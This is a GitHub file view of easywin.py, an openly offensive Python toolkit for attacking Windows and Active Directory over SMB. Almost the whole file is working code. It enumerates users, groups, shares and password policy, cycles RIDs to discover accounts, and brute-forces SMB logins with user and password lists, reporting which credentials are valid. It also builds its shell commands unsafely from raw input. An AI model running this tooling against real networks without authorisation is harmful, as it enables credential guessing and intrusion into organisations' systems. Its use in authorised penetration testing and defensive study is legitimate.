-
Notifications
You must be signed in to change notification settings - Fork 122
/
Copy patheasywin.py
540 lines (458 loc) · 15.5 KB
/
easywin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
#!/usr/bin/env python3
"""
easywin.py 0.2 - Windows and AD Tactical Exploitation Toolkit
Copyright (c) 2017-2018 Marco Ivaldi <[email protected]>
"The Other Way to Pen-Test" --HD Moore & Valsmith
If you're like me, when performing a penetration test you
prefer to go for the easy win. Easywin is a Python script
that provides a toolkit for exploit-less attacks aimed at
Windows and Active Directory environments, by leveraging
information gathering and brute force capabilities against
the SMB protocol.
Based on:
http://www.0xdeadbeef.info/code/samba-hax0r
https://github.com/portcullislabs/enum4linux
Requirements:
Python 3 (https://pythonclock.org/ is ticking...)
Samba (smbclient, rpcclient, net)
Impacket with polenum.py from https://github.com/0xdea/polenum
Example usage:
$ ./easywin.py info -f hosts.txt -a
$ ./easywin.py brute -f hosts.txt -u users.txt
TODO:
Add check to determine if the target host/service is up
Enumerate Group Policy Preference (GPP) Saved Passwords
Improve error handling (e.g. external command not found)
Avoid using external commands (it works but it's ugly!)
Get the latest version at:
https://github.com/0xdea/tactical-exploitation/
"""
VERSION = "0.2"
BANNER = """
easywin.py {0} - Windows and AD Tactical Exploitation Toolkit
Copyright (c) 2017-2018 Marco Ivaldi <[email protected]>
""".format(VERSION)
import sys
import argparse
import subprocess
import re
def info(args):
"""
Information gathering handler
"""
domain = args.D
username = args.U
password = args.P
start = args.S
end = args.E
targets = get_targets(args)
if start > end:
print("// error: start sid cannot be greater than end sid")
sys.exit(1)
if args.all: # get users, groups, and shares
args.all = False
args.users = True
args.groups = True
args.shares = True
args.policy = False
args.rid = False
for host in targets:
if args.users: # get user list
info_users(domain, username, password, host)
if args.groups: # get group list and membership
info_groups(domain, username, password, host)
if args.shares: # get share list
info_shares(domain, username, password, host)
if args.policy: # get password policy
info_policy(domain, username, password, host)
if args.rid: # get users and groups via rid cycling
info_rid(domain, username, password, host, start, end)
def info_users(domain, username, password, host):
"""
Get user list
"""
print("*** users on {3} ({0}\{1}:{2}) ***\n"
.format(domain, username, password, host))
# get user list (querydispinfo)
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c querydispinfo 2>&1"
.format(domain, username, password, host))
try:
o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
print(o.stdout.decode(sys.stdout.encoding))
# get user list (enumdomusers)
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c enumdomusers 2>&1"
.format(domain, username, password, host))
try:
o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
print(o.stdout.decode(sys.stdout.encoding))
def info_groups(domain, username, password, host):
"""
Get group list and membership
"""
output = b""
print("*** groups on {3} ({0}\{1}:{2}) ***\n"
.format(domain, username, password, host))
# get group list (enumalsgroups)
for grouptype in ["builtin", "domain"]:
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'enumalsgroups {4}' 2>&1"
.format(domain, username, password, host, grouptype))
try:
o = subprocess.run(cmd, shell=True, check=True,
stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
output += o.stdout
# get group list (enumdomgroups)
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c enumdomgroups 2>&1"
.format(domain, username, password, host))
try:
o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
output += o.stdout
if not output: return
res = output.decode(sys.stdout.encoding)
print(res)
p = re.compile("\[.+\] ")
groups = p.findall(res)
if not groups: return
# get group membership
for group in groups:
print(group)
cmd = ("net rpc group members '{4}' -W'{0}' -U'{1}%{2}' -I {3} 2>&1"
.format(domain, username, password, host, group[1:-2]))
try:
o = subprocess.run(cmd, shell=True, check=True,
stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
print(o.stdout.decode(sys.stdout.encoding))
def info_shares(domain, username, password, host):
"""
Get share list
"""
output = b""
print("*** shares on {3} ({0}\{1}:{2}) ***\n"
.format(domain, username, password, host))
# get share list
cmd = ("smbclient -W'{0}' -U'{1}%{2}' -L //{3} 2>&1"
.format(domain, username, password, host))
try:
o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
output += o.stdout
if not output: return
res = output.decode(sys.stdout.encoding)
p = re.compile("\n\s+\S+\s+(?:Disk|IPC|Printer).+")
shares = p.findall(res)
if not shares: return
# map and print shares
for descr in shares:
share = descr.split()[0]
cmd = ("smbclient -W'{0}' -U'{1}%{2}' '//{3}/{4}' -c dir 2>&1"
.format(domain, username, password, host, share))
try:
o = subprocess.run(cmd, shell=True, check=True,
stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
print("[ ] Access Denied\t{0}".format(descr.lstrip()))
else:
print("[x] Access Granted\t{0}".format(descr.lstrip()))
else:
print()
def info_policy(domain, username, password, host):
"""
Get password policy
"""
print("*** policy on {3} ({0}\{1}:{2}) ***\n"
.format(domain, username, password, host))
# get password policy
cmd = ("polenum.py '{1}:{2}@{3}' 2>&1"
.format(domain, username, password, host))
try:
o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
print("// error launching polenum.py")
else:
print(o.stdout.decode(sys.stdout.encoding).strip())
print()
def info_rid(domain, username, password, host, start, end):
"""
Get users and groups via RID cycling
"""
output = b""
known_users = ["administrator",
"guest",
"krbtgt",
"domain admins",
"root",
"none"]
print("*** rid cycling on {3} ({0}\{1}:{2}) ({4}-{5}) ***\n"
.format(domain, username, password, host, start, end))
# get sids (lookupnames)
for user in known_users:
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'lookupnames {4}' 2>&1"
.format(domain, username, password, host, user))
try:
o = subprocess.run(cmd, shell=True, check=True,
stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
output += o.stdout
# get sids (lsaenumsid)
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c lsaenumsid 2>&1"
.format(domain, username, password, host))
try:
o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
output += o.stdout
if not output: return
res = output.decode(sys.stdout.encoding)
# parse sids
p = re.compile("(S-1-5-21-[\d-]+)-") # windows
sids = set(p.findall(res))
p = re.compile("(S-1-22-[\d-]+)-") # unix
sids |= set(p.findall(res))
if not sids: return
# perform rid cycling for each sid found
for sid in sorted(sids):
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'lookupsids {4}' 2>&1"
.format(domain, username, password, host, sid))
try:
o = subprocess.run(cmd, shell=True, check=True,
stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
print("[{0}]".format(o.stdout.decode(sys.stdout.encoding).rstrip()))
# enumerate objects via rid cycling
for i in range(start, end + 1):
rid = sid + "-" + str(i)
cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'lookupsids {4}' 2>&1"
.format(domain, username, password, host, rid))
try:
o = subprocess.run(cmd, shell=True, check=True,
stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
pass
else:
print(o.stdout.decode(sys.stdout.encoding), end="")
print()
def brute(args):
"""
Brute force handler
"""
domain = args.d
usernames = [u.rstrip() for u in args.u]
passwords = []
if args.p:
passwords = [p.rstrip() for p in args.p]
targets = get_targets(args)
found_glob = 0
for host in targets:
found_host = 0
if passwords: # test username:username and username:password
for username in usernames:
if brute_do(domain, username, username, host):
found_host += 1
continue
for password in passwords:
if brute_do(domain, username, password, host):
found_host += 1
break
else: # test only username:username
for username in usernames:
found_host += brute_do(domain, username, username, host)
found_glob += found_host
print("\n*** {0} accounts found on {1} ***\n".format(found_host, host))
print("*** {0} accounts found globally ***\n".format(found_glob))
def brute_do(domain, username, password, host):
"""
Perform the brute force attack
"""
cmd = ("smbclient -W{0} -U'{1}%{2}' -L {3} >/dev/null 2>&1"
.format(domain, username, password, host))
try:
subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except:
# invalid credentials
print("[ ]\t{3}\t{0}\{1}:{2}".format(domain, username, password, host))
return 0
else:
# valid credentials
print("[x]\t{3}\t{0}\{1}:{2}".format(domain, username, password, host))
return 1
def get_targets(args):
"""
Get targets for info or brute mode
"""
if args.t: return [args.t]
return [t.rstrip() for t in args.f]
def get_args():
"""
Get command line arguments
"""
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(
title="commands",
help="choose mode of operation")
# info gathering mode
parser_i = subparsers.add_parser(
"info",
help="enter info gathering mode")
parser_i.set_defaults(func=info)
# info: actions
group_i_actions = parser_i.add_mutually_exclusive_group(required=True)
group_i_actions.add_argument(
"-u", "--users",
action="store_true",
help="get user list")
group_i_actions.add_argument(
"-g", "--groups",
action="store_true",
help="get group list and membership")
group_i_actions.add_argument(
"-s", "--shares",
action="store_true",
help="get share list")
group_i_actions.add_argument(
"-p", "--policy",
action="store_true",
help="get password policy")
group_i_actions.add_argument(
"-r", "--rid",
action="store_true",
help="get users and groups via rid cycling")
group_i_actions.add_argument(
"-a", "--all",
action="store_true",
help="get users, groups, and shares")
# info: targets
group_i_targets = parser_i.add_mutually_exclusive_group(required=True)
group_i_targets.add_argument(
"-t",
metavar="HOST",
help="specify target hostname or IP address")
group_i_targets.add_argument(
"-f",
metavar="FILE",
type=argparse.FileType("r"),
help="specify file containing a list of targets")
# info: authentication
parser_i.add_argument(
"-D",
metavar="DOMAIN",
default=".",
help="specify domain/workgroup to use")
parser_i.add_argument(
"-U",
metavar="USER",
default="",
help="specify username to use")
parser_i.add_argument(
"-P",
metavar="PASS",
default="",
help="specify password to use")
# info: rid cycling
parser_i.add_argument(
"-S",
metavar="START",
type=int,
default=500,
help="specify start rid (default: 500)")
parser_i.add_argument(
"-E",
metavar="END",
type=int,
default=1100,
help="specify end rid (default: 1100)")
# brute force mode
parser_b = subparsers.add_parser(
"brute",
help="enter brute force mode")
parser_b.set_defaults(func=brute)
# brute: targets
group_b_targets = parser_b.add_mutually_exclusive_group(required=True)
group_b_targets.add_argument(
"-t",
metavar="HOST",
help="specify target hostname or IP address")
group_b_targets.add_argument(
"-f",
metavar="FILE",
type=argparse.FileType("r"),
help="specify file containing a list of targets")
# brute: credentials
parser_b.add_argument(
"-u",
metavar="USERFILE",
type=argparse.FileType("r"),
required=True,
help="specify user list")
parser_b.add_argument(
"-p",
metavar="PASSFILE",
type=argparse.FileType("r"),
help="specify password list")
parser_b.add_argument(
"-d",
metavar="DOMAIN",
default=".",
help="specify domain/workgroup to use")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(0)
return parser.parse_args()
def main():
"""
Main function
"""
print(BANNER)
if sys.version_info[0] != 3:
print("// error: this script requires python 3")
sys.exit(1)
args = get_args()
args.func(args)
if __name__ == "__main__":
main()